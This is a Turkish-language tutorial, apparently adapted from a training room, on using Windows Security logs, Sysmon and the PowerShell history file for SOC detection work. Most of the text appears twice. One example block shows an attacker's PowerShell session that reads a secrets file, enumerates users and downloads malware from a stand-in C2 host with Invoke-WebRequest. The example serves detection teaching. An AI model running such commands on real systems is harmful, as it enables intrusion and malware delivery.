Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde Windows olay günlüklerinde önemli olanları nasıl bulacağınızı ve yorumlayacağımızı, Sysmon ve PowerShell günlük kaynaklarını izlemeye göz atacağız.
Günlük Kayıtlarına Genel Bakış
Bir program başlattığınızda, bir dosya oluşturduğunuzda ya da sadece dizüstü bilgisayarınıza giriş yaptığınızda, bu olay işletim sisteminiz (OS) tarafından işlenir. Ardından işletim sistemi bu olayı kaydedebilir; yani zaman, işlem detayları ve işlemi gerçekleştiren kullanıcı bilgilerini içeren bir satırı bir günlük (log) dosyasına ekler.
Kaydedilen her olaya “log” denir ve doğru şekilde loglama yapılması, tüm kullanıcı ve sistem aktivitelerinin kayıt altına alınmasını sağlar. Bu da SOC (Security Operations Center) ekiplerine şu konularda yardımcı olur:
Windows, oldukça güçlü loglama (kayıt tutma) yeteneklerine sahip ilginç bir işletim sistemidir; ancak bu logları okuyup anlamak ciddi bir bilgi birikimi gerektirir. İlk karşılaşacağınız zorluk, logları sadece açabilmek bile olabilir. Çünkü bu loglar, C:\Windows\System32\winevt\Logs klasörü içinde ikili (binary) formatta saklanır:

Her EVTX dosyası belirli bir log kategorisine karşılık gelir. Örneğin, Application Logs (Uygulama Günlükleri), Internet Information Services (IIS) web sunucusu veya Microsoft SQL Server (MS SQL) veritabanı gibi kullanıcı modunda çalışan uygulamalar tarafından kaydedilen olayları içerir. Öte yandan, Security Logs (Güvenlik Günlükleri) oturum açma denemeleri, süreç (process) aktiviteleri ve kullanıcı yönetimi gibi olayları kaydeder
Olay Günlüklerini Okuma (Reading Event Logs)
Bu bölümde, olay günlüklerini görüntülemenizi ve yönetmenizi sağlayan yerleşik bir araç olan Event Viewer’ı kullanacağız. Event Viewer’ı açmak için Windows arama çubuğunda “Event Viewer” araması yapabilir veya Win + R tuşlarına basıp eventvwr yazdıktan sonra Enter’a basabilirsiniz.
Araç yüklendikten sonra, tüm sistem günlüklerinin ayrıştırılmış, gruplanmış ve analiz için hazır hale getirilmiş olduğunu görebilirsiniz:

Neler Loglanır (What Is Logged)
Sadece Security Logs (Güvenlik Günlükleri) için bile 500’den fazla olay kimliği (Event ID) bulunmaktadır ve toplamda binlerce farklı olay kimliği vardır! Ancak, tüm olaylar varsayılan olarak kaydedilmez ve tüm olaylar düzgün şekilde belgelenmiş değildir.
Bu nedenle, bu bölümde günlük SOC (Security Operations Center) çalışmalarında en faydalı olan logları inceleyeceğiz Allah’ın izniyle.
Güvenlik Günlüğü: Kimlik Doğrulama
Genel Bakış (Overview)
Bir SOC analisti olarak, yarın hangi saldırıyla karşılaşacağınızı ve hangi logları incelemeniz gerekeceğini önceden bilemezsiniz. Ancak varsayılan olarak etkin olan tüm Windows logları arasında, Security Event Log (Güvenlik Olay Günlüğü) size en fazla değeri sağlayan kaynaktır.
Bu yolculuğa, en önemli iki güvenlik logundan başlayalım:
4624 Olayının Yapısı (Structure of 4624)
Tipik bir Windows sunucusu, dakikada onlarca oturum açma olayı üretebilir ve her bir oturum açma olayı genellikle birçok farklı alandan (field) oluşur. Ancak, aşağıdaki görselde yer alan birkaç temel olay alanını kontrol ederek çoğu L1/L2 seviyesindeki durumu analiz edebilirsiniz.

RDP Brute Force Tespiti (Detect RDP Brute Force)
Güvenlik Günlüğü: Kullanıcı Yönetimi
Genel Bakış (Overview)
Kullanıcı Yönetimi Olaylarının Yapısı (Structure of User Management Events)
Tüm kullanıcı yönetimi olayları benzer bir yapıya sahiptir ve üç bölüme ayrılabilir: işlemi yapan kişi (Subject), hedef alınan kişi/nesne (Object) ve yapılan değişiklikler (Details):

Arka Kapı Kullanıcılarını Tespit Etme (Hunt for Backdoored Users)
Genel Bakış (Overview)
Sysmon vs Security Log (Sysmon ve Güvenlik Günlüğü)
Sysmon, Microsoft Sysinternals Sysmon paketine ait ücretsiz bir araçtır ve varsayılan sistem loglarına ek olarak gelişmiş izleme için fiili (de facto) bir standart haline gelmiştir. Dolayısıyla, temel fakat gürültülü olan 4688 event ID’sini etkinleştirmek ile daha güçlü ve esnek loglar sağlayan bir programdır Sysmon
Sysmon kurulduktan sonra loglar Event Viewer içinde şu konumda bulunur:
Applications & Services -> Microsoft -> Windows -> Sysmon -> Operational

Sysmon Event ID 1’in Kullanımı (Sysmon Event ID 1 in Action)
Yukarıdaki ekran görüntüsünde de görebileceğiniz gibi, Event ID 1 birçok farklı alan içerir ve bunların en önemlileri şu şekilde gruplandırılabilir:
Sysmon: Dosyalar ve Ağ
Genel Bakış (Overview)
Sysmon yalnızca süreç oluşturma (process creation) olaylarından çok daha fazlasını sunabilir. Dosya ve registry değişikliklerini, ağ bağlantılarını, DNS sorgularını ve daha birçok kritik olayı kaydedebilir.
Ayrıca, varsayılan loglardan farklı olarak hangi olayların kaydedileceğini ve hangilerinin hariç tutulacağını siz yapılandırabilirsiniz
Sysmon Olaylarının Yapısı

Ekran görüntüsüne bakın—her Event ID’nin kendi amacı olsa da, turuncu renkle vurgulanan alanlar aynı yapıyı takip eder. Ayrıca Logon ID veya parent process bilgisi gibi bazı kritik alanların eksik olduğunu da fark edin. Buradaki mantık, ProcessId alanını kullanarak ilgili Event ID 1 (Process Creation) olayını bulmak ve tüm bağlamı oradan elde etmektir.
Sysmon Olaylarının Kullanımı (Usage of Sysmon Events)
Süreç oluşturma olayları yaygın ihlal senaryolarını tespit etmek için yeterli bağlam sağlasa da, saldırı zincirinin tamamını yeniden oluşturmak ve hiçbir detayı kaçırmamak için ek loglar kritik öneme sahiptir. Örneğin, verinin nereye sızdırıldığını (data exfiltration) belirlemek için ağ (network) loglarına, saldırganların hangi sistem yapılandırmalarını değiştirdiğini görmek için ise registry değişiklik loglarına ihtiyaç duyarsınız.
PowerShell: Komutları Kaydetme
PowerShell, Windows’a yerleşik güçlü bir araçtır ve saldırganlar tarafından kötüye kullanılmayı çok sever. Bunun başlıca nedeni, hem güvenilir olması hem de zararlı yazılım indirme, sistem keşfi yapma, veri sızdırma ve hatta süreç enjeksiyonu gibi gelişmiş teknikleri gerçekleştirebilme yeteneğine sahip olmasıdır. Ancak yalnızca Sysmon Event ID 1 gibi süreç oluşturma loglarını kullanarak onun komutlarını yakalayamazsınız. Aşağıdaki komut satırına bir göz atın:
Burada, tehdit aktörü hassas bir dosyayı okumayı, yerel kullanıcıları ve grupları görüntülemeyi ve hatta kötü amaçlı yazılımı Temp dizinine indirmeyi başarmıştır. Ancak yine de yalnızca powershell.exe’nin başlatıldığını belirten tek bir Event ID 1 olayı görürsünüz; çalıştırılan komutlarla ilgili hiçbir bilgi yer almaz.
Nasıl Çalışır
Her programın belirli bir amacı vardır: firefox.exe bir web tarayıcısıdır, notepad.exe bir metin düzenleyicisidir ve whoami.exe ise yalnızca kullanıcı adınızı görüntüler. Eğer sadece internette geziniyorsanız, muhtemelen yalnızca tek bir Firefox süreci oluşturursunuz. Ancak RDP erişimi veya fotoğraf düzenleme gibi kapsam dışı her görevde yeni programlar açmanız ve ek loglar oluşturmanız gerekir.
Öte yandan PowerShell, sistem yönetimi için güçlü, hepsi bir arada bir araçtır. powershell.exe’yi başlattığınızda, aynı terminal oturumu içinde her işlem için yeni süreç oluşturmak zorunda kalmadan yüzlerce farklı komutu çalıştırabilirsiniz. Bu nedenle Sysmon burada pek yardımcı olmaz ve alternatif bir loglama yaklaşımı bulmanız gerekir.
PowerShell Geçmiş Dosyası
PowerShell’i izlemek için her birinin kendine göre avantaj ve dezavantajları olan en az beş yöntem vardır. Logless Hunt odasını inceleyebilir ve AMSI ile Transcript Logging konularını araştırabilirsiniz. Ancak bu bölümde, PowerShell komutlarını takip etmenin basit ama etkili bir yoluna odaklanacağız: PowerShell geçmiş dosyası.
PowerShell geçmiş dosyası, PowerShell tarafından otomatik olarak oluşturulan düz metin (plain text) bir dosyadır. Bu dosya, PowerShell penceresine yazdığınız her komutu kaydeder ve bir komutu çalıştırmak için Enter tuşuna bastığınız anda anında güncellenir.

Önemli Notlar

Okuduğunuz için teşekkür ederim
Selamun aleyküm dostlarım. Bu makalemizde Windows olay günlüklerinde önemli olanları nasıl bulacağınızı ve yorumlayacağımızı, Sysmon ve PowerShell günlük kaynaklarını izlemeye göz atacağız.
Günlük Kayıtlarına Genel Bakış
Bir program başlattığınızda, bir dosya oluşturduğunuzda ya da sadece dizüstü bilgisayarınıza giriş yaptığınızda, bu olay işletim sisteminiz (OS) tarafından işlenir. Ardından işletim sistemi bu olayı kaydedebilir; yani zaman, işlem detayları ve işlemi gerçekleştiren kullanıcı bilgilerini içeren bir satırı bir günlük (log) dosyasına ekler.
Kaydedilen her olaya “log” denir ve doğru şekilde loglama yapılması, tüm kullanıcı ve sistem aktivitelerinin kayıt altına alınmasını sağlar. Bu da SOC (Security Operations Center) ekiplerine şu konularda yardımcı olur:
- Olay Müdahalesi (Incident Response): Loglar, saldırının ne zaman ve nasıl gerçekleştiğini gösterebilir.
- Tehdit Avcılığı (Threat Hunting): Loglar, kötü niyetli faaliyetlerin izlerini aramanıza olanak tanır.
- Uyarı ve Önceliklendirme (Alerting and Triage): Loglar, her türlü uyarı veya tespit kuralının temel yapı taşlarından biridir.
Windows, oldukça güçlü loglama (kayıt tutma) yeteneklerine sahip ilginç bir işletim sistemidir; ancak bu logları okuyup anlamak ciddi bir bilgi birikimi gerektirir. İlk karşılaşacağınız zorluk, logları sadece açabilmek bile olabilir. Çünkü bu loglar, C:\Windows\System32\winevt\Logs klasörü içinde ikili (binary) formatta saklanır:

Her EVTX dosyası belirli bir log kategorisine karşılık gelir. Örneğin, Application Logs (Uygulama Günlükleri), Internet Information Services (IIS) web sunucusu veya Microsoft SQL Server (MS SQL) veritabanı gibi kullanıcı modunda çalışan uygulamalar tarafından kaydedilen olayları içerir. Öte yandan, Security Logs (Güvenlik Günlükleri) oturum açma denemeleri, süreç (process) aktiviteleri ve kullanıcı yönetimi gibi olayları kaydeder
Olay Günlüklerini Okuma (Reading Event Logs)
Bu bölümde, olay günlüklerini görüntülemenizi ve yönetmenizi sağlayan yerleşik bir araç olan Event Viewer’ı kullanacağız. Event Viewer’ı açmak için Windows arama çubuğunda “Event Viewer” araması yapabilir veya Win + R tuşlarına basıp eventvwr yazdıktan sonra Enter’a basabilirsiniz.
Araç yüklendikten sonra, tüm sistem günlüklerinin ayrıştırılmış, gruplanmış ve analiz için hazır hale getirilmiş olduğunu görebilirsiniz:
- Log Sources (Günlük Kaynakları): Her bir EVTX dosyası, sol panelde tek bir öğeye karşılık gelir.
- Log List (Günlük Listesi): Gördüğünüz her satır, sıralayabileceğiniz bazı özellikler içeren tek bir olayı temsil eder:
- Keywords (Anahtar Kelimeler): Bazı olaylar için, işlemin başarılı olup olmadığını gösterir.
- Date and Time (Tarih ve Saat): Olayın gerçekleştiği zaman damgasıdır (sistem saati, UTC değil!).
- Event ID: Olayın adı için benzersiz bir numaradır (örneğin, başarısız bir giriş her zaman 4625’tir).
- Log Details (Günlük Detayları): Günlüğün asıl içeriğidir; düz metin (plaintext) veya XML formatında bulunur (“Details” sekmesi).
- Filters Menu (Filtre Menüsü): Günlükleri filtrelemek için “Filter Current Log” ve “Find” butonlarını kullanabilirsiniz.

Neler Loglanır (What Is Logged)
Sadece Security Logs (Güvenlik Günlükleri) için bile 500’den fazla olay kimliği (Event ID) bulunmaktadır ve toplamda binlerce farklı olay kimliği vardır! Ancak, tüm olaylar varsayılan olarak kaydedilmez ve tüm olaylar düzgün şekilde belgelenmiş değildir.
Bu nedenle, bu bölümde günlük SOC (Security Operations Center) çalışmalarında en faydalı olan logları inceleyeceğiz Allah’ın izniyle.
Güvenlik Günlüğü: Kimlik Doğrulama
Genel Bakış (Overview)
Bir SOC analisti olarak, yarın hangi saldırıyla karşılaşacağınızı ve hangi logları incelemeniz gerekeceğini önceden bilemezsiniz. Ancak varsayılan olarak etkin olan tüm Windows logları arasında, Security Event Log (Güvenlik Olay Günlüğü) size en fazla değeri sağlayan kaynaktır.
Bu yolculuğa, en önemli iki güvenlik logundan başlayalım:
- Successful Logon (4624): Başarılı oturum açma
- Failed Logon (4625): Başarısız oturum açma
| Event ID | Amaç | Loglama | Sınırlamalar |
|---|---|---|---|
| 4624 (Başarılı Oturum Açma) | Şüpheli RDP/ağ oturum açmalarını tespit etmek ve saldırının başlangıç noktasını belirlemek | Hedef makinede, yani erişmeye çalıştığınız sistemde kaydedilir | Gürültülüdür. Yoğun çalışan sunucularda dakikada yüzlerce oturum açma olayı görebilirsiniz |
| 4625 (Başarısız Oturum Açma) | Brute force, password spraying veya zafiyet taramalarını tespit etmek | Hedef makinede, yani erişmeye çalıştığınız sistemde kaydedilir | Tutarsız olabilir. Loglar, olayı yanlış yorumlamanıza neden olabilecek birçok istisna ve detaya sahiptir |
4624 Olayının Yapısı (Structure of 4624)
Tipik bir Windows sunucusu, dakikada onlarca oturum açma olayı üretebilir ve her bir oturum açma olayı genellikle birçok farklı alandan (field) oluşur. Ancak, aşağıdaki görselde yer alan birkaç temel olay alanını kontrol ederek çoğu L1/L2 seviyesindeki durumu analiz edebilirsiniz.

RDP Brute Force Tespiti (Detect RDP Brute Force)
- Security loglarını açın ve 4625 Event ID (başarısız giriş denemeleri) için filtre uygulayın.
- Logon Type 3 ve 10 olan olaylara bakın (Ağ ve RDP oturum açmaları):
- Çoğu modern sistemde logon type 3 olur (çünkü Network Level Authentication varsayılan olarak etkindir).
- Eski veya yanlış yapılandırılmış sistemlerde logon type 10 olabilir (çünkü NLA kullanılmaz).
- Artık her olay dikkate değerdir, ancak özellikle şu durumlar kırmızı bayrak (red flag) olarak değerlendirilir:
- admin, helpdesk, cctv gibi birçok farklı kullanıcı adıyla denemeler yapılması (password spraying göstergesi)
- Genellikle Administrator hesabında çok sayıda başarısız giriş denemesi (brute force göstergesi)
- Workstation Name kurumsal isimlendirme standardına uymuyorsa (örneğin THM-PC-06 yerine kali)
- Source IP beklenmeyen bir kaynaktan geliyorsa (örneğin yazıcınızın Windows sunucunuza bağlanmaya çalışması)
Güvenlik Günlüğü: Kullanıcı Yönetimi
Genel Bakış (Overview)
- “Hey Ejder, ‘svc_sysrestore’ senin hesabın mı? Kullanıcı listesinde daha önce hiç görmedim.”
- “Hayır, ama muhtemelen Windows’a ait bir şeydir; gelecekte sorun yaşamamak için dokunmamak daha iyi.”
| Event ID | Açıklama | Kötü Amaçlı Kullanım |
|---|---|---|
| 4720 / 4722 / 4738 | Bir kullanıcı hesabı oluşturuldu / etkinleştirildi / değiştirildi | Saldırganlar, bir arka kapı (backdoor) hesabı oluşturabilir veya tespitten kaçınmak için eski bir hesabı yeniden etkinleştirebilir |
| 4725 / 4726 | Bir kullanıcı hesabı devre dışı bırakıldı / silindi | Gelişmiş tehdit aktörleri, faaliyetlerini yavaşlatmak için ayrıcalıklı SOC hesaplarını devre dışı bırakabilir |
| 4723 / 4724 | Bir kullanıcı şifresini değiştirdi / kullanıcının şifresi sıfırlandı | Yeterli yetkiye sahip saldırganlar, şifreyi sıfırlayıp ardından ilgili kullanıcı hesabına erişim sağlayabilir |
| 4732 / 4733 | Bir kullanıcı güvenlik grubuna eklendi / güvenlik grubundan çıkarıldı | Saldırganlar genellikle arka kapı hesaplarını “Administrators (opens in new tab)” gibi ayrıcalıklı gruplara ekler |
Kullanıcı Yönetimi Olaylarının Yapısı (Structure of User Management Events)
Tüm kullanıcı yönetimi olayları benzer bir yapıya sahiptir ve üç bölüme ayrılabilir: işlemi yapan kişi (Subject), hedef alınan kişi/nesne (Object) ve yapılan değişiklikler (Details):
- Subject (Özne): İşlemi gerçekleştiren hesaptır. Logon ID alanına dikkat edin — bu alanı, bu olayı önceki 4624 giriş olayı ile ilişkilendirmek için kullanabilirsiniz.
- Object (Nesne): Olay ID’sine bağlı olarak farklı isimlerle görünebilir (örneğin New Account veya Member), ancak her zaman aynı anlamı taşır: işlemin hedefi.
- Details (Detaylar): 4732 ve 4733 olaylarında hedef grup bilgilerini içerir; 4720 olayında ise yeni kullanıcının tam adı veya parola süresi gibi özelliklerini içerir.

Arka Kapı Kullanıcılarını Tespit Etme (Hunt for Backdoored Users)
- Security loglarını açın ve 4720 / 4732 Event ID’leri için filtre uygulayın.
- Her olayı manuel olarak inceleyin; aşağıdaki durumlar kırmızı bayrak (red flag) olarak değerlendirilir:
- Yapılan işlemi BT ekibinden kimsenin doğrulayamaması
- Değişikliklerin mesai saatleri dışında veya hafta sonu yapılması
- İşlemi yapan (subject) kullanıcının adının bilinmemesi veya beklenmedik olması
- (örneğin “adm.old.2008” hesabının yeni Windows kullanıcıları oluşturması)
- Hedef kullanıcı adının normal isimlendirme standardına uymaması
- (örneğin “thm_svc_backup” yerine “backup” kullanılması)
- İşlemin kötü amaçlı olduğunu doğrularsanız, giriş detaylarını analiz edin:
- 4720 / 4732 olayından Logon ID alanını kopyalayın
- Aynı Logon ID’ye sahip ilgili giriş olayını bulun
Genel Bakış (Overview)
- +“Ejder, son zamanlarda internetten herhangi bir dosya çalıştırdın mı?”
- -“Tabii ki hayır, neden? Ben asla güvenilmeyen dosyaları açmam.”
- +“Ama IP adresin üretim sunucularımıza brute-force saldırısı yapmaya çalışıyor.”
| Event Code | Amaç | Sınırlamalar |
|---|---|---|
| 4688 (Security Log: Process Creation) | Her yeni süreç (process) başlatıldığında, komut satırı ve üst süreç (parent process) detayları dahil olmak üzere bir olay kaydı oluşturur | Varsayılan olarak devre dışıdır; resmi dokümantasyona göre manuel olarak etkinleştirilmesi gerekir |
| 1 (Sysmon: Process Creation) | 4688 olay kodunun yerine geçer ve süreç hash’i ile imza (signature) gibi daha gelişmiş alanlar sağlar | Sysmon varsayılan olarak yüklü olmayan harici bir araçtır. Sysmon’un resmi sayfasına bakınız |
Sysmon vs Security Log (Sysmon ve Güvenlik Günlüğü)
Sysmon, Microsoft Sysinternals Sysmon paketine ait ücretsiz bir araçtır ve varsayılan sistem loglarına ek olarak gelişmiş izleme için fiili (de facto) bir standart haline gelmiştir. Dolayısıyla, temel fakat gürültülü olan 4688 event ID’sini etkinleştirmek ile daha güçlü ve esnek loglar sağlayan bir programdır Sysmon
Sysmon kurulduktan sonra loglar Event Viewer içinde şu konumda bulunur:
Applications & Services -> Microsoft -> Windows -> Sysmon -> Operational

Sysmon Event ID 1’in Kullanımı (Sysmon Event ID 1 in Action)
Yukarıdaki ekran görüntüsünde de görebileceğiniz gibi, Event ID 1 birçok farklı alan içerir ve bunların en önemlileri şu şekilde gruplandırılabilir:
- Process Info (Süreç Bilgisi): Başlatılan sürecin bağlamını içerir; PID, dosya yolu (image) ve komut satırı gibi bilgileri kapsar.
- Parent Info (Üst Süreç Bilgisi): Üst sürecin bağlamını içerir; süreç ağacı (process tree) veya saldırı zinciri oluşturmak için oldukça faydalıdır.
- Binary Info (Binarî Bilgisi): Süreç hash’i, imza (signature) ve PE metadata bilgilerini içerir. Daha ileri seviye konular için gereklidir.
- User Context (Kullanıcı Bağlamı): Süreci çalıştıran kullanıcıyı ve en önemlisi Security log’larındaki ile aynı olan Logon ID bilgisini içerir.
Sysmon: Dosyalar ve Ağ
Genel Bakış (Overview)
Sysmon yalnızca süreç oluşturma (process creation) olaylarından çok daha fazlasını sunabilir. Dosya ve registry değişikliklerini, ağ bağlantılarını, DNS sorgularını ve daha birçok kritik olayı kaydedebilir.
Ayrıca, varsayılan loglardan farklı olarak hangi olayların kaydedileceğini ve hangilerinin hariç tutulacağını siz yapılandırabilirsiniz
| Event ID | Security Log Alternatifi | Olay Amacı |
|---|---|---|
| 11 / 13 (Dosya Oluşturma / Registry Değeri Ayarlama) | Dosya değişiklikleri için 4656 ve registry değişiklikleri için 4657; her ikisi de varsayılan olarak devre dışıdır | Zararlı yazılımların bıraktığı dosyaları veya kalıcılık (persistence) sağlamak için registry üzerinde yaptığı değişiklikleri tespit etmek |
| 3 / 22 (Ağ Bağlantısı / DNS Sorgusu) | Doğrudan bir alternatif yoktur; ek firewall ve DNS yapılandırması gerektirir | Güvenilmeyen süreçlerden gelen trafiği veya bilinen kötü amaçlı hedeflere yapılan bağlantıları tespit etmek |
Sysmon Olaylarının Yapısı

Ekran görüntüsüne bakın—her Event ID’nin kendi amacı olsa da, turuncu renkle vurgulanan alanlar aynı yapıyı takip eder. Ayrıca Logon ID veya parent process bilgisi gibi bazı kritik alanların eksik olduğunu da fark edin. Buradaki mantık, ProcessId alanını kullanarak ilgili Event ID 1 (Process Creation) olayını bulmak ve tüm bağlamı oradan elde etmektir.
Sysmon Olaylarının Kullanımı (Usage of Sysmon Events)
Süreç oluşturma olayları yaygın ihlal senaryolarını tespit etmek için yeterli bağlam sağlasa da, saldırı zincirinin tamamını yeniden oluşturmak ve hiçbir detayı kaçırmamak için ek loglar kritik öneme sahiptir. Örneğin, verinin nereye sızdırıldığını (data exfiltration) belirlemek için ağ (network) loglarına, saldırganların hangi sistem yapılandırmalarını değiştirdiğini görmek için ise registry değişiklik loglarına ihtiyaç duyarsınız.
PowerShell: Komutları Kaydetme
PowerShell, Windows’a yerleşik güçlü bir araçtır ve saldırganlar tarafından kötüye kullanılmayı çok sever. Bunun başlıca nedeni, hem güvenilir olması hem de zararlı yazılım indirme, sistem keşfi yapma, veri sızdırma ve hatta süreç enjeksiyonu gibi gelişmiş teknikleri gerçekleştirebilme yeteneğine sahip olmasıdır. Ancak yalnızca Sysmon Event ID 1 gibi süreç oluşturma loglarını kullanarak onun komutlarını yakalayamazsınız. Aşağıdaki komut satırına bir göz atın:
Kod:
PS C:\> Get-ChildItem
PS C:\> Get-Content secrets.txt
PS C:\> Get-LocalUser; Get-LocalGroup
PS C:\> Invoke-WebRequest http://c2server.thm/a.exe -OutPath C:\Temp\a.exe
Burada, tehdit aktörü hassas bir dosyayı okumayı, yerel kullanıcıları ve grupları görüntülemeyi ve hatta kötü amaçlı yazılımı Temp dizinine indirmeyi başarmıştır. Ancak yine de yalnızca powershell.exe’nin başlatıldığını belirten tek bir Event ID 1 olayı görürsünüz; çalıştırılan komutlarla ilgili hiçbir bilgi yer almaz.
Nasıl Çalışır
Her programın belirli bir amacı vardır: firefox.exe bir web tarayıcısıdır, notepad.exe bir metin düzenleyicisidir ve whoami.exe ise yalnızca kullanıcı adınızı görüntüler. Eğer sadece internette geziniyorsanız, muhtemelen yalnızca tek bir Firefox süreci oluşturursunuz. Ancak RDP erişimi veya fotoğraf düzenleme gibi kapsam dışı her görevde yeni programlar açmanız ve ek loglar oluşturmanız gerekir.
Öte yandan PowerShell, sistem yönetimi için güçlü, hepsi bir arada bir araçtır. powershell.exe’yi başlattığınızda, aynı terminal oturumu içinde her işlem için yeni süreç oluşturmak zorunda kalmadan yüzlerce farklı komutu çalıştırabilirsiniz. Bu nedenle Sysmon burada pek yardımcı olmaz ve alternatif bir loglama yaklaşımı bulmanız gerekir.
PowerShell Geçmiş Dosyası
PowerShell’i izlemek için her birinin kendine göre avantaj ve dezavantajları olan en az beş yöntem vardır. Logless Hunt odasını inceleyebilir ve AMSI ile Transcript Logging konularını araştırabilirsiniz. Ancak bu bölümde, PowerShell komutlarını takip etmenin basit ama etkili bir yoluna odaklanacağız: PowerShell geçmiş dosyası.
Kod:
C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PowerShell geçmiş dosyası, PowerShell tarafından otomatik olarak oluşturulan düz metin (plain text) bir dosyadır. Bu dosya, PowerShell penceresine yazdığınız her komutu kaydeder ve bir komutu çalıştırmak için Enter tuşuna bastığınız anda anında güncellenir.

Önemli Notlar
- Geçmiş dosyası, sistem keşfi veya kötü amaçlı yazılım indirme gibi zararlı aktiviteleri izlemek için oldukça faydalıdır.
- Bu dosya her kullanıcı için ayrı ayrı oluşturulur; yani sistemde beş aktif kullanıcı varsa beş farklı dosya görebilirsiniz.
- Manuel olarak silinmediği sürece sistem yeniden başlatmalarından sonra da varlığını korur ve girilen tüm PowerShell komutlarını süresiz olarak saklar.
- Komut çıktısını kaydetmez ve script içeriğini göstermez (örneğin powershell .\script.ps1 çalıştırıldığında).

Okuduğunuz için teşekkür ederim






